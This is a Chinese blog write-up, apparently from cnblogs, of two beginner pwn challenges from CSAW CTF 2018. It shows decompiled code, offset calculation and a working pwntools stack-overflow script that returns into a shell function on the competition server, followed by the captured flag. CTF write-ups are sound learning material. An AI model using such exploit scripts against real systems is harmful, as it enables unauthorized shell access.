• 记两个国外CTF的弱pwn


    两道题都来自CSAW CTF 18。PWN学得不够多,如果哪里错了,欢迎留言交流。

    第一个题 get_it

    checksec检查之后,发现栈保护没开,很可能是栈溢出。IDA打开F5看伪源码。

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char v4; // [rsp+10h] [rbp-20h]
      puts("Do you gets it??");
      gets(&v4);
      return 0;
    }
    

    IDA中看到,在程序中还有libc和调用bash的give_shell()函数。虽然有give_shell(),但是没使用的地方。考查的意图也很明显,就是要调用它。

    用GDB看了一下程序。主函数执行ret指令时用到的地址:

    往上看这个地址的来源,它是从7f...de78(不一定和我的相同)读出来的,gets()函数的取到的内容从data段的7f...de50开始。做一下减法,改掉它共需要48个字节。

    pwntools操作(用'a'作垃圾数据填充)

    from pwn import *
    p = remote('pwn.chal.csaw.io',9001)
    payload = 'a' * 32 + p64(0x400600) + p64(0x4005b6)
    p.recv()
    p.sendline(payload)
    p.interactive()
    
    
        cat flag.txt
    flag{y0u_deF_get_itls}
    

    checksec可以看到没有开启栈保护,可以覆盖。借助主函数返回。在gdb里输入正常的内容,运行看最后ret的EIP从哪取出来的,拿EIP最后跳转地址存放的位置减去之前的输入数据存放的地址,得到长度。(静态也可以,适合大佬使用)中间的全部用垃圾数据覆盖,最后指定到give_shell()的内存地址上。0x400600地方有一个pop命令,直接覆盖为垃圾数据会因为不能出栈导致报错退出,保留。接下来的指令覆盖为give_shell()的内存地址就可以了。

    第二个题 boi

    记得好像哪个大学的CTF战队名字叫BOI。

    该开的保护都开了。逻辑代码没什么内容,用足够的数据覆盖掉缓冲区就可以起shell了,注意最后0xCAF3BAEE写成小端。

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      __int64 buf; // [rsp+10h] [rbp-30h]
      __int64 v5; // [rsp+18h] [rbp-28h]
      __int64 v6; // [rsp+20h] [rbp-20h]
      int v7; // [rsp+28h] [rbp-18h]
      unsigned __int64 v8; // [rsp+38h] [rbp-8h]
    
      v8 = __readfsqword(0x28u);
      buf = 0LL;
      v5 = 0LL;
      v6 = 0LL;
      v7 = 0;
      HIDWORD(v6) = 0xDEADBEEF;
      puts("Are you a big boiiiii??");
      read(0, &buf, 0x18uLL);
      if ( HIDWORD(v6) == 0xCAF3BAEE )
        run_cmd("/bin/bash", &buf);
      else
        run_cmd("/bin/date", &buf);
      return 0;
    }
  • 相关阅读:
    python 网页爬虫,下载网络图片
    J2SE 8的泛型
    简历上的项目经历怎么写?这3条原则不可忽视!
    看过太多大厂面试题,其实考的无非是这 3 点能力
    宁可多花1000元租房,也绝不要去挤半小时地铁
    光背面试题可没用,谈谈如何真正掌握一个技术知识点
    为了学好Java,我尝试了这 6 个方法
    springmvc之处理模型数据SessionAttributes注解
    springmvc之处理模型数据Map
    springmvc之处理模型数据ModelAndView
  • 原文地址:https://www.cnblogs.com/xiao3c/p/9662928.html
Copyright © 2020-2023  润新知